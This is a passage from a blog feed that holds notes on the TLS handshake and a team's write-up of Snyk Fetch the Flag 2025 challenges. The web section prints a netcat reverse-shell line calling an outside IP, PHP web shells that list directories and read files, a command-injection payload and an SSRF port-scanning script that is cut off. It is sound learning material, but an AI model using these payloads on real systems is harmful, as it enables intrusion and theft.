&lt;p&gt;&lt;img src=&quot;images/Pasted%20image%2020250223020233.png&quot; alt=&quot;Pasted image 20250223020233&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Client Hello&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted%20image%2020250223020950.png&quot; alt=&quot;Pasted image 20250223020950&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Server hello&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted%20image%2020250223021023.png&quot; alt=&quot;Pasted image 20250223021023&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Certificate&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted%20image%2020250223021053.png&quot; alt=&quot;Pasted image 20250223021053&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Server Key Exchange&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted%20image%2020250223021126.png&quot; alt=&quot;Pasted image 20250223021126&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Server Hello Done&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted%20image%2020250223021230.png&quot; alt=&quot;Pasted image 20250223021230&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Client Key Exchange&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted%20image%2020250223021153.png&quot; alt=&quot;Pasted image 20250223021153&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;Application Data&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted%20image%2020250223021714.png&quot; alt=&quot;Pasted image 20250223021714&quot; /&gt;
&lt;img src=&quot;images/Pasted%20image%2020250223021930.png&quot; alt=&quot;Pasted image 20250223021930&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;This MAC-then-Encrypt is vulnerable to &lt;strong&gt;Padding Oracle On Downgraded Legacy Encryption (Poodle)&lt;/strong&gt; attack because padding is seprated.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted%20image%2020250223022101.png&quot; alt=&quot;Pasted image 20250223022101&quot; /&gt;
&lt;img src=&quot;images/Pasted%20image%2020250223022333.png&quot; alt=&quot;Pasted image 20250223022333&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Actual Handshake&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Working Flow of TLS Handshake&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;![[TLS Handshake Excalidraw]]&lt;/p&gt;
&lt;h4&gt;Client Hello&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted%20image%2020250223140247.png&quot; alt=&quot;Pasted image 20250223140247&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;Server Hello&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted%20image%2020250223140614.png&quot; alt=&quot;Pasted image 20250223140614&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;Certificate&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted%20image%2020250223141619.png&quot; alt=&quot;Pasted image 20250223141619&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;Server Hello Done&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted%20image%2020250223141827.png&quot; alt=&quot;Pasted image 20250223141827&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;Client Key Exchange&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Client Generates a &lt;strong&gt;PreMasterSecret&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;Used for generate session keys&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted%20image%2020250223142543.png&quot; alt=&quot;Pasted image 20250223142543&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted%20image%2020250223152103.png&quot; alt=&quot;Pasted image 20250223152103&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Why 4 Symmetric Session Keys??&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Abstract &amp;gt;
&amp;gt; Client and Server creates two different tunnel for data transfer one for client to server` and another for server to client.
&amp;gt; If Attacker by chance successful to bruteforce one pair or keys then they only able to compromise half of conversations. 
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;Hint &amp;gt;
&amp;gt; In this demonstration we have used RSA but there are other algorithms like ECDHE and DHE which has some different mechanisms.
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Change Cipher Spec from Client to Server&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Indicates that client has everything necessary to speak securely&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted%20image%2020250223152201.png&quot; alt=&quot;Pasted image 20250223152201&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;Finished from Client to Server&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted%20image%2020250223160634.png&quot; alt=&quot;Pasted image 20250223160634&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;Change Cipher Spec from Server to Client&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Indicates that server has everything necessary to speak securely&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted%20image%2020250223160738.png&quot; alt=&quot;Pasted image 20250223160738&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;Finished from Server to Client&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted%20image%2020250223160829.png&quot; alt=&quot;Pasted image 20250223160829&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;Application Data&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted%20image%2020250223161442.png&quot; alt=&quot;Pasted image 20250223161442&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>Snyk Fetch The Flag Writeups Feb 2025</title><link>https://fuwari.vercel.app/posts/snyk-fetch-the-flag-2025/snyk-fetch-the-flag-2025/</link><guid isPermaLink="true">https://fuwari.vercel.app/posts/snyk-fetch-the-flag-2025/snyk-fetch-the-flag-2025/</guid><description>Some Writeups of Snyk Fetch The Flag 2025.</description><pubDate>Fri, 28 Feb 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Snyk Fetch the Flag 2025&lt;/h1&gt;
&lt;p&gt;&lt;img src=&quot;Files/banner.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Into to Our Team:&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Jeel (&lt;code&gt;B14cky&lt;/code&gt;) : https://b14cky.vercel.app/
&lt;ul&gt;
&lt;li&gt;Skill Area : Forensics, Cryptography, Pwn, Reverse Engineering&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Parth (&lt;code&gt;M0n4rch&lt;/code&gt;) : https://parth-m0n4rch.vercel.app/
&lt;ul&gt;
&lt;li&gt;Skill Area : Web, OSINT, Coding, Steganography&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Yash (&lt;code&gt;k3t0n&lt;/code&gt;) :
&lt;ul&gt;
&lt;li&gt;Skill Area : Web, OSINT, Cryptography, Coding, Reverse Engineering, Steganography&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Warmups&lt;/h2&gt;
&lt;h3&gt;1. Zero Ex Six One&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;Files/image.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Given File: flag.txt.encry&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href=&quot;/uploads/Snyk_2025/flag.txt.encry&quot;&gt;flag.txt.encry&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Hex Data&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;07 0d 00 06 1a 02 54 51 05 59 53 02 51 00 53 54 07 52 04 
57 55 55 05 51 56 51 53 03 55 50 05 03 05 51 59 54 00 1c 6b
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;As per challenge description we can understand it says something like &lt;code&gt;0x61&lt;/code&gt; and it is a XOR challenge so i try to XOR Hex data with this using (https://www.dcode.fr/xor-cipher) Site and boom got the flag.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;Files/image%201.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;flag{c50d82c0a25f3e644d0702b41dbd085a}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2. Read The Rules&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;Files/Screenshot_2025-02-28_200021.png&quot; alt=&quot;Screenshot 2025-02-28 200021.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;In this challenge, a link labeled &lt;strong&gt;&quot;Read The Rules&quot;&lt;/strong&gt; was provided. Clicking on it redirected me to a page containing the competition rules.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;Files/Screenshot_2025-02-28_200123.png&quot; alt=&quot;Screenshot 2025-02-28 200123.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;To find any hidden information, I inspected the &lt;strong&gt;source code&lt;/strong&gt; of the page and searched for &lt;code&gt;&quot;flag{&quot;&lt;/code&gt;. This revealed the hidden flag within the code.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;Files/Screenshot_2025-02-28_200146.png&quot; alt=&quot;Screenshot 2025-02-28 200146.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;flag{90bc54705794a62015369fd8e86e557b}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3. Technical Support&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;Files/Screenshot_2025-02-28_200243.png&quot; alt=&quot;Screenshot 2025-02-28 200243.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The given link redirected to a &lt;strong&gt;Discord page&lt;/strong&gt;, which contained an invite link to the &lt;strong&gt;Snyk Discord server&lt;/strong&gt; (DevSecCon - Your DevSecOps Community).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;Files/Screenshot_2025-02-28_200306.png&quot; alt=&quot;Screenshot 2025-02-28 200306.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Following the hint from the previous text, I navigated to the &lt;code&gt;#open-help-ticket&lt;/code&gt; channel, where the flag was located.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;Files/image%202.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;flag{d7aa66eaOedd20221820c84ecc47aee9}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;4. CTF 101&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;Files/Screenshot_2025-02-28_201036.png&quot; alt=&quot;Screenshot 2025-02-28 201036.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Given File: challenge.zip&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href=&quot;/uploads/Snyk_2025/CTF101.zip&quot;&gt;CTF101.zip&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;By analyzing the &lt;code&gt;source code&lt;/code&gt;, I discovered that the application was vulnerable to &lt;strong&gt;&lt;code&gt;command injection&lt;/code&gt;&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;Files/image%203.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;To exploit this, I attempted a basic command to read the flag file:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;; cat flag.txt 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;Files/Screenshot_2025-02-28_201123.png&quot; alt=&quot;Screenshot 2025-02-28 201123.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;This successfully displayed the flag.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;flag{3b74fc0628299870edabc5072b25cf78}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;5. Science 100&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;Files/Screenshot_2025-02-28_201159.png&quot; alt=&quot;Screenshot 2025-02-28 201159.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;We are given a netcat (nc) connection and must interact with a system that resembles the hacking mechanic from &lt;code&gt;*Fallout: New Vegas*&lt;/code&gt;. In the game, terminals use a &quot;likeness&quot; system, where each incorrect attempt provides a count of how many letters are correctly positioned. Our goal is to find the correct password using this mechanic.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;nc challenge.ctf.games 32586
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;Files/Screenshot_2025-02-28_201229.png&quot; alt=&quot;Screenshot 2025-02-28 201229.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Fallout terminals use a &lt;code&gt;likeness&lt;/code&gt; system where each attempt tells you how many letters are in the correct position. so i guess &lt;code&gt;MOUNTAIN&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;and i get a likeness of 0 out of 8 , the correct password has exactly  matching letters in the same spots. so the correct password is does not contain any letter from here so my next Logic Guess
was one From this&lt;/li&gt;
&lt;li&gt;&lt;code&gt;PRODUCER (Does not contain I, A, N in same positions)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;AUTONOMY (Does not contain I, A, N in same positions)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;And when Tried PRODUCER i got the access and then we got to select 2 option for Flag&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;Files/Screenshot_2025-02-28_201411.png&quot; alt=&quot;Screenshot 2025-02-28 201411.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;flag{89e575e7272b07a1d33e41e3647b3826}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;6. Screaming Crying Throwing up&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;Files/image%204.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;/uploads/Snyk_2025/screaming.bin&quot;&gt;screaming.bin&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;a̮ăaa̋{áa̲aȧa̮ȧaa̮áa̲a̧ȧȧa̮ȧaa̲a̧aa̮ȧa̲aáa̮a̲aa̲a̮aaa̧}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;By Opening the file we got this text which is looks like flag but it is encrypted.&lt;/li&gt;
&lt;li&gt;After some research i found that this is &lt;code&gt;Stream Cipher&lt;/code&gt; ( https://www.explainxkcd.com/wiki/index.php/3054:_Scream_Cipher ).&lt;/li&gt;
&lt;li&gt;From this site i got this &lt;code&gt;mapping table&lt;/code&gt; of &lt;code&gt;each cipher character mapped to its corresponding plain text character&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;Files/image%205.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;So I try to find some decoder to decode this and got this one https://scream-cipher.netlify.app/ after lots of searching.&lt;/li&gt;
&lt;li&gt;I paste the cipher and boom got the flag.. 🫠&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;Files/image%206.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;flag{edabfbafedcbbfbadcafbdaefdadfaac}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Web&lt;/h2&gt;
&lt;h3&gt;1. Who is JH&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;Files/image%207.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Given Files: Source code of the web app.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href=&quot;/uploads/Snyk_2025/challenge.zip&quot;&gt;challenge.zip&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Explored the webapp, different pages. Found a &lt;code&gt;file upload functionality&lt;/code&gt; at &lt;strong&gt;&lt;code&gt;/upload.php&lt;/code&gt;&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;Files/image%208.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Exploring &lt;code&gt;/conspiracy.php&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/conspiracy.php?language=languages/english.php&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/conspiracy.php?language=languages/french.php&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Randomly tried removing php files and we got php error. It indicated possible LFI vulnerability&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;Files/image%209.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The &lt;code&gt;language&lt;/code&gt; parameter in the URL is being passed to &lt;code&gt;include()&lt;/code&gt;, which attempts to load a file. Since PHP is throwing a warning, it means the file does not exist or isn&apos;t accessible.&lt;/li&gt;
&lt;li&gt;Tried other possible ways to get it list directories or access files but no luck.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;Files/image%2010.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Now lets try to upload php files. However, only allowed extensions are &lt;code&gt;.jpg&lt;/code&gt;, &lt;code&gt;.png&lt;/code&gt; and `.gif``&lt;/li&gt;
&lt;li&gt;Tried diff. php extension (&lt;code&gt;php, php3, php4, php5, phtml, phps, phar, jpg.php&lt;/code&gt; etc.) to bypass it but only image extension at the end works.&lt;/li&gt;
&lt;li&gt;So tried &lt;code&gt;.php.jpg&lt;/code&gt; extension and &lt;code&gt;file uploaded&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;Files/image%208.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Now to execute the file we need to find the location of the file uploaded.&lt;/li&gt;
&lt;li&gt;There is a &lt;code&gt;/asset&lt;/code&gt; directory but it contains static images, so &lt;code&gt;not useful&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Randomly guessed &lt;code&gt;/uploads&lt;/code&gt; directory but it gives &lt;code&gt;403 forbidden&lt;/code&gt; error. We can also check the source code of the web app which is already given. So we are sure that our uploaded file is stored in /upload directory.&lt;/li&gt;
&lt;li&gt;Tried directly accessing the file &lt;code&gt;/upload/first.php.jpg&lt;/code&gt; - it says file not found.&lt;/li&gt;
&lt;li&gt;Again checked the source code and found that the &lt;code&gt;file name is being changed using uniqid() function&lt;/code&gt; when we upload the file.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Files/image%2011.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Since the code renames files as &lt;code&gt;uniqid() . &quot;_$originalName&quot;&lt;/code&gt;, the final filename is unpredictable.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;uniqid()&lt;/code&gt; generates a &lt;strong&gt;random&lt;/strong&gt; unique ID. So we cannot brute force the file name. Our file name will be like 65dfe1b12345_first.php.jpg&lt;/li&gt;
&lt;li&gt;In the given files, we have &lt;code&gt;log.php&lt;/code&gt; file which which shows &lt;code&gt;/logs/site_log.txt&lt;/code&gt; file where all the site logs are being stored&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;Files/image%2012.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Checked the identified log file. Logs &lt;code&gt;exposes the changed file name&lt;/code&gt; of our uploaded file.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;Files/image%2013.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Now we know the filename -- tried accessing our file directly but its not executing the php code. It means we have to exploit the &lt;code&gt;LIF vulnerability&lt;/code&gt; which we found earlier to move further.&lt;/li&gt;
&lt;li&gt;I tried directly accessing our uploaded file like in below image and we are able to do it -- no error&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;Files/image%2014.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;To double check -- uploaded php file with below code and its working fine&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php phpinfo(); ?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;Files/image%2015.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Now lets go for &lt;code&gt;reverse shell&lt;/code&gt;. I tried &lt;code&gt;pentest monkey&apos;s php rev shell&lt;/code&gt; but its not working. Also tried direct rev shell with the below code but it is also not working&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php system(&quot;nc -e /bin/sh 172.21.42.246 4444&quot;); ?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;I noticed in phpinfo that some important functions are disabled, so we might not be able to take reverse shell.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;Files/image%2016.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Need to find another way.. searched on google for alternative ways to get reverseshell and found something related to webshell. I used chatgpt to know more about it and get the php code for it.&lt;/li&gt;
&lt;li&gt;If all command execution functions are blocked, we &lt;strong&gt;inject a web shell&lt;/strong&gt; that uses &lt;strong&gt;PHP functions only&lt;/strong&gt;, like this:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php if(isset($_REQUEST[&apos;cmd&apos;])) { echo &quot;&amp;lt;pre&amp;gt;&quot;; print_r(scandir($_REQUEST[&apos;cmd&apos;])); echo &quot;&amp;lt;/pre&amp;gt;&quot;; } ?&amp;gt;

&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Uploaded the file with above code and executed it like below and got the directories listed&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;Files/image%2017.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Now we can check where flag.txt is present.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;Files/image%2018.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;flag.txt is present in / directory. Now again I used chatgpt to get the code for displaying the content of flag.txt&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
if(isset($_REQUEST[&apos;cmd&apos;])) {
    echo &quot;&amp;lt;pre&amp;gt;&quot;;
    echo file_get_contents($_REQUEST[&apos;cmd&apos;]);
    echo &quot;&amp;lt;/pre&amp;gt;&quot;;
}
?&amp;gt;

&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Upload this code file and execute it. We will get the flag&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;Files/image%2019.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;flag{65586Ø8db04Ød1c64358ad536a8eØ6c6)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2. Unfurl&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;Files/Screenshot_2025-02-28_201510.png&quot; alt=&quot;Screenshot 2025-02-28 201510.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Given File: challenge.zip&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href=&quot;/uploads/Snyk_2025/unfurl.zip&quot;&gt;unfurl.zip&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;When I first saw the &lt;code&gt;Open Source Link Unfurler&lt;/code&gt; challenge, it seemed like a simple web application that fetches metadata from URLs. However, after diving into the code, I discovered a complex vulnerability chain involving &lt;code&gt;SSRF (Server-Side Request Forgery)&lt;/code&gt; and &lt;code&gt;command injectio&lt;/code&gt; that eventually led to capturing the flag.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Challenge Overview&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The application consists of:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A public-facing web app allowing users to enter URLs and view their metadata&lt;/li&gt;
&lt;li&gt;A hidden admin panel running on a random port&lt;/li&gt;
&lt;li&gt;A vulnerable command execution feature in the admin panel&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I began by examining the source code provided in the challenge. The application was built with Express.js and had these main components:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;app.js&lt;/code&gt;: The main public application running on port 5000&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;Files/image%2020.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;admin.js&lt;/code&gt;: A separate admin panel running on a random port between 1024-4999&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;Files/image%2021.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Various route handlers for both apps&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;After analyzing the code, I identified two key vulnerabilities:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Server-Side Request Forgery (SSRF)&lt;/strong&gt; in the &lt;code&gt;/unfurl&lt;/code&gt; endpoint:&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;// No validation on the URL parameter
router.post(&apos;/unfurl&apos;, async (req, res) =&amp;gt; {
const { url } = req.body;
// ...
const response = await axios.get(url);
// ...
});
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Command Injection&lt;/strong&gt; in the admin panel&apos;s &lt;code&gt;/execute&lt;/code&gt; endpoint:&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;router.get(&apos;/execute&apos;, (req, res) =&amp;gt; {
// Weak IP check
if (clientIp !== &apos;127.0.0.1&apos; &amp;amp;&amp;amp; clientIp !== &apos;::1&apos;) {
return res.status(403).send(&apos;Forbidden&apos;);
}
const cmd = req.query.cmd;
// Direct execution without sanitization
exec(cmd, (error, stdout, stderr) =&amp;gt; {
// ...
});
});
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;And also by using Snyk it was confirm that this application has this vulnerability.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;Files/image%2022.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;My strategy became clear:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Use the SSRF vulnerability to scan for the admin port&lt;/li&gt;
&lt;li&gt;Access the admin panel through the SSRF vulnerability&lt;/li&gt;
&lt;li&gt;Exploit the command injection to read the flag file&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Finding the Admin Port&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;I wrote a Python script to systematically scan for the admin port:&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;import requests
import concurrent.futures

def check_port(port, base_url=&quot;http://challenge.ctf.games:30959&quot;):
    try:
        unfurl_endpoint = f&quot;{base_url}/unfurl&quot;
        target_url = f&quot;http://127.0.0.1:{port}&quot;

        response = requests.post(
            unfurl_endpoint,
            json={&quot;url&quot;: target_url},
            timeout=5
        )

        if response.status_code == 200:
            data = response.json()
            if &quot;Admin Panel&quot; in data.get(&quot;title&quot;, &quot;&quot;) or &quot;Admin Panel&quot; in data.get(&quot;html&quot;, &quot;&quot;):
